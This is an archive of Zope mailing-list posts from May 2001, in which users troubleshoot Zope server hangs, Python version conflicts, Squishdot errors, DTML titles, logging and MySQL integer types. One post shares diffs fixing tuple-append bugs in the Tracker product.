Zcatalog, tinytables plus, squishdot, the zope hotfix, and > yihaw > > somewhere in one of these installations was added another python directory > (and I think this contributes to some or our problems, but I don't know how > to prove it or change it) now, under zope we have a python (which is version > 2) and a python 1.5.2 directory .....I'm not sure which piece may be calling > which version, and which one maybe causing the shutdown..... > > any enlightenment will be greatly greatly greatly appreciated. > > thanks, > Hank Bowry > hank@broughton-sys.com > > Today's Topics: > > 1. zope hangs vs: Re: [Zope] ZServer Must Be Continually Re-Started: > my Method to stop zope dead: (Tino Wildenhain) > 2. Re: ZServer Must Be Continually Re-Started: my Method to stop zope > dead: timeoutsocket: (Gilles Lavaux) > > Message: 1 > Date: Fri, 11 May 2001 15:25:35 +0200 > From: Tino Wildenhain <tino@wildenhain.de> > To: Ben Ocean <zope@thewebsons.com>, > Gilles Lavaux <gilles.lavaux@esrin.esa.it> > Cc: zope@zope.org > Subject: zope hangs vs: Re: [Zope] ZServer Must Be Continually > Re-Started: > my Method to stop zope dead: > > Hi Ben, > > no this is completly different to your problem. > Dont know why these threads are intermixed. > > The problem below is zope not responding to requests > but still beeing running. > > Your problem is different: > > zope stops running instantly. > > So I expect something in your environment and/or python > version. Do you have a plain install or did you install > additionally products with zope? > > Regards > Tino Wildenhain > ------_=_NextPart_001_01C0DA3F.5C1579C0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML> <HEAD> <META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; = charset=3DUS-ASCII"> <META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version = 5.5.2652.35"> <TITLE>the mysterious shutdown thing

>  concerning this thread...
>
> I'm experiencing very, very similar = symptoms.  I have zope installed with
> the newest src 2.3.2 (i think) running with = apache and pcgi and have been
> having periodic shutdowns of zope.....I've been = tailing the logs for apache
> and zope, and the only thing is after zope goes = down, apache logs that it
> can't be reached....restarting zope works fine, = and everything marches
> on.....unfortunately this can't be the case = after our projected june 1st
> lauch of the a website.....I'd love to find the = solution to this problem, or
> any hints about where or what to log to even = identify the cause.
>
> we are running zope 2.3.2 in /opt/zope with = apache from the SuSE 7.1
> distribution....I've loaded the mod_python, and = php, and backhand and some
> others, but I think only the pcgi and python = have anything to do with
> zope...
>
> on top of the basic installation,
> I have installed Zcatalog, tinytables plus, = squishdot, the zope hotfix, and
> yihaw
>
> somewhere in one of these installations was = added another python directory
> (and I think this contributes to some or our = problems, but I don't know how
> to prove it or change it) now, under zope we = have a python (which is version
> 2) and a python 1.5.2 directory .....I'm not = sure which piece may be calling
> which version, and which one maybe causing the = shutdown.....
>
> any enlightenment will be greatly greatly = greatly appreciated.
>
> thanks,
> Hank Bowry
> hank@broughton-sys.com
>
> Today's Topics:
>
>    1. zope hangs vs: Re: [Zope] = ZServer Must Be Continually Re-Started:
>        my = Method  to stop zope dead: (Tino Wildenhain)
>    2. Re: ZServer Must Be = Continually Re-Started: my Method to stop zope
> dead: timeoutsocket: (Gilles Lavaux)
>   
> Message: 1
> Date: Fri, 11 May 2001 15:25:35 +0200
> From: Tino Wildenhain = <tino@wildenhain.de>
> To: Ben Ocean <zope@thewebsons.com>, =
>       Gilles = Lavaux <gilles.lavaux@esrin.esa.it>
> Cc: zope@zope.org
> Subject: zope hangs vs: Re: [Zope] ZServer Must = Be Continually
> Re-Started:
>  my Method  to stop zope dead: =
>
> Hi Ben,
>
> no this is completly different to your problem. =
> Dont know why these threads are intermixed. =
>
> The problem below is zope not responding to = requests
> but still beeing running.
>
> Your problem is different:
>
> zope stops running instantly.
>
> So I expect something in your environment = and/or python
> version. Do you have a plain install or did you = install
> additionally products with zope?
>
> Regards
> Tino Wildenhain
>

------_=_NextPart_001_01C0DA3F.5C1579C0-- From kilmarac@klingonempire.com Fri May 11 18:29:13 2001 From: kilmarac@klingonempire.com (DragonWolf Cmdr. Kilmarac) Date: Fri, 11 May 2001 10:29:13 -0700 (PDT) Subject: [Zope] help Message-ID: <20010511172913.42029.qmail@web13805.mail.yahoo.com> I have a problem, I upgraded to the most recent version of Zope. Now when I try to approve a post in Squishdot, I get this. Zope has encountered an error while publishing this resource. Error Type: AttributeError Error Value: catalog_object -------------------------------------------------------------------------------- Troubleshooting Suggestions The URL may be incorrect. The parameters passed to this resource may be incorrect. A resource that this resource relies on may be encountering an error. For more detailed information about the error, please refer to the HTML source for this page. If the error persists please contact the site maintainer. Thank you for your patience. Traceback (innermost last): File /home/zope/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /home/zope/lib/python/ZPublisher/Publish.py, line 187, in publish File /home/zope/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: Traversable) File /home/zope/lib/python/ZPublisher/Publish.py, line 171, in publish File /home/zope/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: manage_review) File /home/zope/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: manage_review) File /home/zope/lib/python/Products/Squishdot/SquishSite.py, line 870, in manage_review (Object: Traversable) File /home/zope/lib/python/Products/Squishdot/SquishSite.py, line 906, in set_reviewed (Object: Traversable) File /home/zope/lib/python/Products/Squishdot/Posting.py, line 80, in index AttributeError: (see above) __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From fritz.mesedilla@summitmedia.com.ph Fri May 11 18:51:49 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Sat, 12 May 2001 01:51:49 +0800 Subject: [Zope] the mysterious shutdown thing In-Reply-To: <702380C7ED26D511B91500805F149EE9165E80@mail.broughton-sys.com> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C0DA86.1BE3A330 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit the mysterious shutdown thingi have been experiencing that too. but i noticed that the zope process is slowly increasing its memory consumption that my 500MB swap file was turned to zero. i therefore increased the swapfile to 1GB. it hasn't stopped ever since. based on our visitor access, our swap file reached 800MB. oh by the way, our servers have 128MB ram. that could also be it. we also have the servers in zeo. the main server hasn't stopped running with a 400MB swap file since the client servers with 1GB swap files are the ones taking the load. good luck! Fritz Mesedilla Systems Administrator Summit Interactive, Inc. FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping femalenetwork.com | candymag.com | fhm.com.ph | cosmo.com.ph ---------------------------------------------------------------------------- http://contemplation401.tripod.com +Basta Ikaw Lord -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Hank Bowry Sent: Saturday, May 12, 2001 1:25 AM To: 'zope@zope.org' Subject: [Zope] the mysterious shutdown thing > concerning this thread... > > I'm experiencing very, very similar symptoms. I have zope installed with > the newest src 2.3.2 (i think) running with apache and pcgi and have been > having periodic shutdowns of zope.....I've been tailing the logs for apache > and zope, and the only thing is after zope goes down, apache logs that it > can't be reached....restarting zope works fine, and everything marches > on.....unfortunately this can't be the case after our projected june 1st > lauch of the a website.....I'd love to find the solution to this problem, or > any hints about where or what to log to even identify the cause. > > we are running zope 2.3.2 in /opt/zope with apache from the SuSE 7.1 > distribution....I've loaded the mod_python, and php, and backhand and some > others, but I think only the pcgi and python have anything to do with > zope... > > on top of the basic installation, > I have installed Zcatalog, tinytables plus, squishdot, the zope hotfix, and > yihaw > > somewhere in one of these installations was added another python directory > (and I think this contributes to some or our problems, but I don't know how > to prove it or change it) now, under zope we have a python (which is version > 2) and a python 1.5.2 directory .....I'm not sure which piece may be calling > which version, and which one maybe causing the shutdown..... > > any enlightenment will be greatly greatly greatly appreciated. > > thanks, > Hank Bowry > hank@broughton-sys.com > > Today's Topics: > > 1. zope hangs vs: Re: [Zope] ZServer Must Be Continually Re-Started: > my Method to stop zope dead: (Tino Wildenhain) > 2. Re: ZServer Must Be Continually Re-Started: my Method to stop zope > dead: timeoutsocket: (Gilles Lavaux) > > Message: 1 > Date: Fri, 11 May 2001 15:25:35 +0200 > From: Tino Wildenhain > To: Ben Ocean , > Gilles Lavaux > Cc: zope@zope.org > Subject: zope hangs vs: Re: [Zope] ZServer Must Be Continually > Re-Started: > my Method to stop zope dead: > > Hi Ben, > > no this is completly different to your problem. > Dont know why these threads are intermixed. > > The problem below is zope not responding to requests > but still beeing running. > > Your problem is different: > > zope stops running instantly. > > So I expect something in your environment and/or python > version. Do you have a plain install or did you install > additionally products with zope? > > Regards > Tino Wildenhain > ------=_NextPart_000_0008_01C0DA86.1BE3A330 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable the mysterious shutdown thing
i have=20 been experiencing that too.
but i=20 noticed that the zope process is slowly increasing its memory=20 consumption that my 500MB swap file was turned to zero. i therefore = increased the swapfile to 1GB. it hasn't stopped ever since. based on = our=20 visitor access, our swap file reached 800MB. oh by the way, our servers = have=20 128MB ram. that could also be it.
 
we=20 also have the servers in zeo. the main server hasn't stopped running = with a=20 400MB swap file since the client servers with 1GB swap files are the = ones taking=20 the load.
 
good=20 luck!
 

Fritz Mesedilla
Systems Administrator

Summit = Interactive, Inc.
FHM | Seventeen | Candy | Cosmopolitan | Preview | = Good=20 Housekeeping
femalenetwork.com | candymag.com | fhm.com.ph |=20 cosmo.com.ph
---------------------------------------------------------= -------------------
http://contemplation401.tripod.com
   &= nbsp;           &n= bsp;    =20 +Basta Ikaw Lord

-----Original Message-----
From: = zope-admin@zope.org=20 [mailto:zope-admin@zope.org]On Behalf Of Hank = Bowry
Sent:=20 Saturday, May 12, 2001 1:25 AM
To:=20 'zope@zope.org'
Subject: [Zope] the mysterious shutdown=20 thing

>  concerning this thread... =
>
> I'm experiencing very, = very similar=20 symptoms.  I have zope installed with
> the=20 newest src 2.3.2 (i think) running with apache and pcgi and have been=20
> having periodic shutdowns of = zope.....I've been=20 tailing the logs for apache
> and zope, = and the=20 only thing is after zope goes down, apache logs that it =
> can't be reached....restarting zope works fine, and = everything=20 marches
> on.....unfortunately this can't = be the=20 case after our projected june 1st
> lauch = of the a=20 website.....I'd love to find the solution to this problem, or =
> any hints about where or what to log to even identify = the cause.=20
>
> we are = running zope=20 2.3.2 in /opt/zope with apache from the SuSE 7.1
>=20 distribution....I've loaded the mod_python, and php, and backhand and = some=20
> others, but I think only the pcgi and = python have=20 anything to do with
> zope... =
>
> on top of the basic = installation,=20
> I have installed Zcatalog, tinytables = plus,=20 squishdot, the zope hotfix, and
> yihaw=20
>
> = somewhere in one of=20 these installations was added another python directory =
> (and I think this contributes to some or our problems, = but I don't=20 know how
> to prove it or change it) now, = under=20 zope we have a python (which is version
> = 2) and a=20 python 1.5.2 directory .....I'm not sure which piece may be calling=20
> which version, and which one maybe = causing the=20 shutdown.....
>
> any=20 enlightenment will be greatly greatly greatly appreciated. =
>
> thanks,
>=20 Hank Bowry
> hank@broughton-sys.com=20
>
> Today's = Topics:=20
>
>    1.=20 zope hangs vs: Re: [Zope] ZServer Must Be Continually Re-Started:=20
>        my=20 Method  to stop zope dead: (Tino Wildenhain)
>    2. Re: ZServer Must Be Continually = Re-Started:=20 my Method to stop zope
> dead: = timeoutsocket:=20 (Gilles Lavaux)
>   =20
> Message: 1
> Date:=20 Fri, 11 May 2001 15:25:35 +0200
> From: = Tino=20 Wildenhain <tino@wildenhain.de>
> = To: Ben=20 Ocean <zope@thewebsons.com>,
>       Gilles Lavaux=20 <gilles.lavaux@esrin.esa.it>
> Cc:=20 zope@zope.org
> Subject: zope hangs vs: = Re: [Zope]=20 ZServer Must Be Continually
> Re-Started: =
>  my Method  to stop zope = dead:=20
>
> Hi Ben,=20
>
> no this = is completly=20 different to your problem.
> Dont know = why these=20 threads are intermixed.
> =
> The problem below is zope not responding to requests=20
> but still beeing running. =
>
> Your problem is = different:=20
>
> zope = stops running=20 instantly.
>
> So I=20 expect something in your environment and/or python
> version. Do you have a plain install or did you install=20
> additionally products with zope? =
>
> Regards
>=20 Tino Wildenhain
>=20

------=_NextPart_000_0008_01C0DA86.1BE3A330-- From cduncan@kaivo.com Fri May 11 18:52:15 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 11 May 2001 11:52:15 -0600 Subject: [Zope] DTML - change document title? References: <20010511163309.31374.qmail@web9603.mail.yahoo.com> Message-ID: <3AFC26CF.45FF905@kaivo.com> Kevin L wrote: > > I know this is probably really easy but I can't find it anywhere > in the docs. > > I have a dtml document that needs to have a different title > every time (based on a database call). How can I set the title > attribute from dtml? > > thanks much > > -Kevin > hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From fritz.mesedilla@summitmedia.com.ph Fri May 11 18:54:25 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Sat, 12 May 2001 01:54:25 +0800 Subject: [Zope] log files Message-ID: is this the only way to use stupid_log_files? " $ python1.5.2 z2.py ZSYSLOG_SERVER="syslog.mydomain.com:514" \ STUPID_FILE_LOGGER=var/Zope.log" " i got this from: http://www.zope.org/Documentation/Misc/LOGGING.txt or can i put this in a config file? i looked inside z2.py and found no place to put it. what am i supposed to expect here? i tried the command line approach but i was looking for the file and i don't think it create the file. or is it gonna be create when the first error comes? Fritz Mesedilla Systems Administrator Summit Interactive, Inc. FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping femalenetwork.com | candymag.com | fhm.com.ph | cosmo.com.ph ---------------------------------------------------------------------------- http://contemplation401.tripod.com +Basta Ikaw Lord From troy.farrell@wcg.com Fri May 11 19:20:03 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Fri, 11 May 2001 13:20:03 -0500 Subject: [Zope] DTML - change document title? Message-ID: The problem with this: A large number of pageviews will fill ZODB up with copies of the document. It might be better not to use , but instead write the header into the document and do this: <dtml-in sqlSelectTitle><dtml-var sqlTitle></dtml-in> ... Modify to suite your needs. Troy -----Original Message----- From: Casey Duncan [mailto:cduncan@kaivo.com] Sent: Friday, May 11, 2001 12:52 PM To: Kevin L Cc: zope@zope.org Subject: Re: [Zope] DTML - change document title? Kevin L wrote: > > I know this is probably really easy but I can't find it anywhere > in the docs. > > I have a dtml document that needs to have a different title > every time (based on a database call). How can I set the title > attribute from dtml? > > thanks much > > -Kevin > hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From lsloan@umich.edu Fri May 11 19:22:04 2001 From: lsloan@umich.edu (Lance E Sloan) Date: Fri, 11 May 2001 14:22:04 -0400 Subject: [Zope] my solution to #include in DocumentTemplate Message-ID: <200105111822.OAA04788@birds.us.itd.umich.edu> Just in case anybody is interested (rather unlikely) I thought I'd let everybody know how I resolved my quest for #include-like behavior in DocumentTemplate. Of course, a very good way would have been to actually create a "dtml-include" tag by following the suggestions at zope.org. Being a Python newbie, a Zope not-even-newbie-yet, and under a tight deadline, I didn't go that route. Instead, I happened to stumble across this method. What I was looking for was something like: in a DTML file to include another DTML file, recursively. I ended up doing this: It works well. The only problem is that for every object I want to pass to the included document must be specified individually (x = x). I tried these but they didn't work: For now, this is not too much of a problem, as I'm only including a header or a footer that's common to all my DTML pages and they don't require many arguments. BTW, I think DocumentTemplate is excellent and it should be added to the standard Python distribution. For those that don't know my weird history with this module, I've borrowed DocumentTemplate from Zope to write some CGIs in Python. They're coming along nicely, but I admit that I'm somewhat sloppy. -- Lance E Sloan Web Services, Univ. of Michigan: Full-service Web and database design, development, and hosting. Specializing in Perl & Python CGIs. http://websvcs.itd.umich.edu/ - "Putting U on the Web" From lstafford@morphics.com Fri May 11 19:23:46 2001 From: lstafford@morphics.com (Loren Stafford) Date: Fri, 11 May 2001 11:23:46 -0700 Subject: [Zope] Threads in ExternalMethods In-Reply-To: Message-ID: You might consider using Xron to schedule the async process for "now" (_.DateTime()). I won't claim this is the best solution for your app, but at least all the threading is already done for you and the scheduled method is "all Zope". -- Loren > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Juan > Carlos Coruña > Sent: Friday, May 11, 2001 07:40 > To: zope@zope.org > Subject: [Zope] Threads in ExternalMethods > > > Hi all, > > I am now trying to create an ExternalMethod that executes a long process > (about 30 seconds) in a new thread and then this thread sends the > result per > e-mail. The ExternalMethod must return inmediatly. I need this behavior in > order to not block the user while browsing. > > Are there anybody that can help me? > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From drees@the-bridge.net Fri May 11 19:21:28 2001 From: drees@the-bridge.net (Steve Drees) Date: Fri, 11 May 2001 13:21:28 -0500 Subject: [Zope] problem selecting integers from mysql In-Reply-To: Message-ID: > put int() around your results; it will convert a longint to an integer. What happens if the longint is too big for an int? From zope@thewebsons.com Fri May 11 19:08:26 2001 From: zope@thewebsons.com (Ben Ocean) Date: Fri, 11 May 2001 11:08:26 -0700 Subject: [Zope] Re: zope hangs In-Reply-To: <4063761.989594735@BUZZER> References: <5.0.2.1.0.20010511051000.00a24150@thewebsons.com> <5.0.2.1.0.20010511051000.00a24150@thewebsons.com> Message-ID: <5.0.2.1.0.20010511103516.009f3b30@thewebsons.com> At 03:25 PM 5/11/2001 +0200, you wrote: >Hi Ben, > >zope stops running instantly. > >So I expect something in your environment and/or python >version. Do you have a plain install or did you install >additionally products with zope? Well, I've built a number of products into the Zope Products folder *after* the installation. I may be including some of the regularly installed products, but here's the list: >>> Chameleon/Chameleon Skin CookielessSessionManager FSSession Local File System MailHost PHP File Parsed XML Portal RAM Cache Manager Script (Python) Set Access Rule Squishdot Site Tiny Tables Plus User Folder Version Virtual Host Monster Vocabulary Wizard/ Wizard Page XML Document XML Widget/XML Widget Manager Z MySQL Database Connection Z SQL Method Z Search Interface <<< It could be the python installation. I'm running two versions: 1.5 and 1.5.2. When I type *which python* at a command prompt I get this: /usr/bin/python and within this same folder is python1.5, whereas *locate python* reveals these directories: >>> /apache/vhosts/Python-1.5.2 /apache/Zope-2.3.2-linux2-x86/lib/python1.5 /usr/bin/Python-1.5.2 >>> When I type *python* at the command line I find the version I'm running is 1.5.2. So, perhaps that's where the problem is. How would you suggest I trouble-shoot this? Are there error logs in python? I wouldn't mind killing a version of python, but I don't want to screw anything else up, either. I'm running STUPID_LOG_FILE but catching no errors. Also, with regard to my *environment*, how would you suggest I search for potential problems? I'm running RH6.2. The only other bugs I'm working on in my Linux environment are a problem with warm reboot not reading the httpd.conf file and noticing a bunch of httpsd restarts early in the morning hours when I run *ps aux* that turn out to all be dead processes. TIA, BenO From bill@libc.org Fri May 11 19:43:45 2001 From: bill@libc.org (Bill Anderson) Date: 11 May 2001 12:43:45 -0600 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: References: Message-ID: <989606626.9772.0.camel@locutus> On 11 May 2001 19:19:46 +0400, Oleg Broytmann wrote: > On Fri, 11 May 2001, Nils Kassube wrote: > > This is very easy with a simple addition to the regular expression. You simply > > look for an optional part (-announce). I don't understand how this could be > > easier with text in the subject header. It looks like the same amount of work, > > except that [Zope] in every subject line wastes precious screen space. > > I didn't say it is impossible at all. I said it is possible, but [Zope] > in subject makes it simpler. I don't consider this as "unneccessary > redundant and ugly" :) Well, technically speaking .. o It is unnecessary because there are at least two other headers you vcan sort on. o it is redundant for the same reason As for ugly, while I agree it does make for poor subject usage, and IIRC, non-compliant header munging, ugliness, as beauty, is in the eye of the beholder. Bill From troy.farrell@wcg.com Fri May 11 20:00:53 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Fri, 11 May 2001 14:00:53 -0500 Subject: [Zope] [Tracker]Tracker errors and fixes on HP/UX 11.00 with Pyth on 2.0 Message-ID: I sent this to the tracker-dev@zope.org list, but due to the lack of activity on that list, I think it might be better placed here. When looking at the diffs below, note that I always append a # to a line of code that I edit in someone elses sources. Troy -----Original Message----- From: Farrell, Troy Sent: Friday, May 11, 2001 11:06 AM To: 'tracker-dev@zope.org' Subject: Tracker errors and fixes on HP/UX 11.00 with Python 2.0 Hi Guys- I've installed Tracker before on Linux/i386 with Python 1.52 before without problems, but when I try it with HPUX 11.00/Python 2.0 and Zope 2.3.1 or 2.3.2, there are many issues. I seem to have fixed most of them and I felt that you guys could use the fixes, so here we go: 1) Inside the Tracker ZClass, I've changed /Control_Panel/Products/Tracker/Tracker/propertysheets/methods/TrackerItem/p ropertysheets/methods/index_html to include the following lines after the comment at the beginning: These lines fix the problems associated with the TrackerItem ZClass being inside the Tracker ZClass instead of the TrackerIssue ZClass. These problems show themselves inside the manage_tabs method for a TrackerItem's index_html 2) Change all the appends with too many arguments to appending tuples, and change tracker_role() so that it doesn't throw up an error when it tries to convert a tuple to a string, because we can't convert a tuple to a string. Please review the changes to tracker_role() in TrackerMisc.py especially well. I'm not very confident about them. I've attached diffs below. **************************************** DIFFS for Tracker **************************************** troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ ls CHANGES.txt README.txt TrackerMisc.py envsetup.py CVS Tracker.zexp TrackerMisc.py.orig forms LICENSE.txt TrackerBase.py TrackerMisc.pyc issue.gif Noodging.diff TrackerBase.py.orig __init__.py item.gif Noodging.py TrackerBase.pyc __init__.pyc tracks.gif Noodging.py.orig TrackerMethods.py addTrackerForm.dtml Noodging.pyc TrackerMethods.py.orig age.py troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ diff -c Noodging.py.orig Noodging.py *** Noodging.py.orig Fri May 11 09:02:19 2001 --- Noodging.py Fri May 11 09:07:04 2001 *************** *** 99,105 **** if transaction: transaction.abort() aborted = 1 ! exceptions.append(TransactionAbort, details, rule) if DEBUG >= 2: Note("TransactionAbort(%s) encountered for %s\n", details, `rule`) --- 99,105 ---- if transaction: transaction.abort() aborted = 1 ! exceptions.append((TransactionAbort, details, rule))# if DEBUG >= 2: Note("TransactionAbort(%s) encountered for %s\n", details, `rule`) troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ diff -c TrackerBase.py.orig TrackerBase.py *** TrackerBase.py.orig Fri May 11 09:02:29 2001 --- TrackerBase.py Fri May 11 09:04:11 2001 *************** *** 76,82 **** """Return all keys and issues which we are privileged to view.""" got = [] for k, v in self._issues.items(): ! got.append(k, v.__of__(self)) return got def values(self): """Return all issues which we are privileged to view.""" --- 76,82 ---- """Return all keys and issues which we are privileged to view.""" got = [] for k, v in self._issues.items(): ! got.append((k, v.__of__(self)))# return got def values(self): """Return all issues which we are privileged to view.""" *************** *** 306,312 **** items = self._messages got = [] for k, v in items.items(): ! got.append(k, v.__of__(self)) if reverse: got.reverse() return got --- 306,312 ---- items = self._messages got = [] for k, v in items.items(): ! got.append((k, v.__of__(self)))# if reverse: got.reverse() return got troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ diff -c TrackerMisc.py.orig TrackerMisc.py *** TrackerMisc.py.orig Fri May 11 09:02:41 2001 --- TrackerMisc.py Fri May 11 09:08:45 2001 *************** *** 165,171 **** and str(user.acl_users._nobody) == str(user)): return 1 if (string.lower(i) == "superuser" ! and str(user.acl_users._super) == str(user)): return 1 if not categories.has_key(i): candidates.append(i) --- 165,171 ---- and str(user.acl_users._nobody) == str(user)): return 1 if (string.lower(i) == "superuser" ! and user.acl_users._emergency_user == str(user)):# return 1 if not categories.has_key(i): candidates.append(i) troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ diff -c TrackerMethods.py.orig TrackerMethods.py *** TrackerMethods.py.orig Fri May 11 09:02:53 2001 --- TrackerMethods.py Fri May 11 09:06:37 2001 *************** *** 377,393 **** if REQUEST is None: val = None else: val = REQUEST.get(i + "__trait", None) if val is not None: ! traitVals.append(i, val) traitdict[i] = val elif origTraitValsDict.has_key(i): ! traitVals.append(i, origTraitValsDict[i]) traitdict[i] = origTraitValsDict[i] else: traitdict[i] = '' if extend: vals = traitsStruct[i + "_range"][1] ! if vals: traitVals.append(i, vals[0]) ! else: traitVals.append(i, '') if not hasattr(issue, 'traitVals') or issue.traitVals != traitVals: issue.traitVals = traitVals --- 377,393 ---- if REQUEST is None: val = None else: val = REQUEST.get(i + "__trait", None) if val is not None: ! traitVals.append((i, val))# traitdict[i] = val elif origTraitValsDict.has_key(i): ! traitVals.append((i, origTraitValsDict[i]))# traitdict[i] = origTraitValsDict[i] else: traitdict[i] = '' if extend: vals = traitsStruct[i + "_range"][1] ! if vals: traitVals.append((i, vals[0]))# ! else: traitVals.append((i, ''))# if not hasattr(issue, 'traitVals') or issue.traitVals != traitVals: issue.traitVals = traitVals *************** *** 2067,2077 **** else: msg = str(tbobj) msg = msg + ', ' + str((herepath, branchpoint, ps)) ! got.append(p, msg) if o is not None: if not hasattr(o, 'type') or o.type != 'tracker': ! got.append(o, "Not a tracker") else: if gotids.has_key(id(o.aq_base)): # Already have one. --- 2067,2077 ---- else: msg = str(tbobj) msg = msg + ', ' + str((herepath, branchpoint, ps)) ! got.append((p, msg))# if o is not None: if not hasattr(o, 'type') or o.type != 'tracker': ! got.append((o, "Not a tracker"))# else: if gotids.has_key(id(o.aq_base)): # Already have one. *************** *** 2079,2088 **** if o.tracker_role(o, 'staff', user=REQUEST.AUTHENTICATED_USER): # Bingo - we have staff access in this object. gotids[id(o.aq_base)] = 1 ! got.append(p, (o,)) gotobjs.append(o) else: ! got.append(p, "Not staff in this tracker") tracker.peers = peers return (gotobjs, got) --- 2079,2088 ---- if o.tracker_role(o, 'staff', user=REQUEST.AUTHENTICATED_USER): # Bingo - we have staff access in this object. gotids[id(o.aq_base)] = 1 ! got.append((p, (o,)))# gotobjs.append(o) else: ! got.append((p, "Not staff in this tracker"))# tracker.peers = peers return (gotobjs, got) troy@caustic:~/Zope-2.3.2-src/lib/python/Products/TrackerBase$ ********************************************* End DIFFS ********************************************* From willd@p-wave.com Fri May 11 19:30:12 2001 From: willd@p-wave.com (Will Dennis) Date: Fri, 11 May 2001 14:30:12 -0400 Subject: [Zope] ZServer Must Be Continually Re-Started Message-ID: <3AFC2FB4.2080600@p-wave.com> Hello, I have the same (?) problem with a site running on our Zope server (Zope 2.3.0) -- The site just hangs from time to time (the Zope processes are still running, and not taking any more memory than usual, but ZServer is not responding to GET requests.) A stop/start cures the problem (until it happens again.) This site is a popular site, and gets spidered a lot, so I wonder if it is a thread consumption problem. I have written a Python script to monitor a Zope installation (authored it for just this problem) that is available from my Zope.org page, http://www.zope.org/Members/willdawg . I'd love to know why this occurs, if someone figures it out... Thanks, Will Dennis P-Wave, Inc. From sean.upton@uniontrib.com Fri May 11 20:04:08 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 12:04:08 -0700 Subject: [Zope] problem selecting integers from mysql Message-ID: It would have to be out of the range of a 4-byte integer, which is not likely in most applications. MySQLDA sees MySQL INT and INTEGER (4 byte) type fields as longint types, which are also 4 byte integers (which is -2,147,483,248 to 2,147,483,248). I am not sure about MySQL's BIGINT type, which is an 8-byte integer, which is so rediculously big (2^64 or 18,446,744,073,709,551,616 possible numbers), it's hard to imagine anyone using. I'm not sure how Python's __int__() handles an 8-byte value, I cannot seem to find an answer in the Python Reference Manual... Sean -----Original Message----- From: Steve Drees [mailto:drees@the-bridge.net] Sent: Friday, May 11, 2001 11:21 AM To: sean.upton@uniontrib.com; Zope@Zope. Org Subject: RE: [Zope] problem selecting integers from mysql > put int() around your results; it will convert a longint to an integer. What happens if the longint is too big for an int? From craig.dunigan@esker.com Fri May 11 20:10:11 2001 From: craig.dunigan@esker.com (Dunigan, Craig) Date: Fri, 11 May 2001 14:10:11 -0500 Subject: [Zope] ZServer Must Be Continually Re-Started Message-ID: I also have a similar problem (RH v7, Zope v2.3.0); ps aux shows normal python processes, top shows no unusual CPU usage, Z2.log shows the last GET request and that's it, there simply is no response from zope until I restart it. I just enabled verbose logging with the -M switch on z2.py today, to try to get more information. My setup includes ZEO v0.4, does anyone else having this problem use ZEO? Craig Dunigan Web Programmer Esker Software - Extending the Reach of Information mailto:craig.dunigan@esker.com Ph. 608.273.6000 Fax 608.273.8227 http://www.esker.com > -----Original Message----- > From: Will Dennis [mailto:willd@p-wave.com] > Sent: Friday, May 11, 2001 1:30 PM > To: zope@zope.org > Subject: [Zope] ZServer Must Be Continually Re-Started > > > Hello, > > I have the same (?) problem with a site running on our Zope > server (Zope > 2.3.0) -- The site just hangs from time to time (the Zope > processes are > still running, and not taking any more memory than usual, but > ZServer is > not responding to GET requests.) A stop/start cures the > problem (until > it happens again.) This site is a popular site, and gets > spidered a lot, > so I wonder if it is a thread consumption problem. I have written a > Python script to monitor a Zope installation (authored it for > just this > problem) that is available from my Zope.org page, > http://www.zope.org/Members/willdawg . > > I'd love to know why this occurs, if someone figures it out... > > Thanks, > > Will Dennis > P-Wave, Inc. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From chrism@digicool.com Fri May 11 20:22:05 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 15:22:05 -0400 Subject: [Zope] ZServer Must Be Continually Re-Started References: <3AFC2FB4.2080600@p-wave.com> Message-ID: <033001c0da4f$aa6214c0$8e17a8c0@kurtz> Note that there is probably not one single cause (or solution) for all of the reported "Zope hangs on me" issues. The requestprofiler module (part of the most recent Zope CVS checkout in the /utilities directory) is a reasonable place to start to try to track down a pattern to the hangs. I've put it up separately at 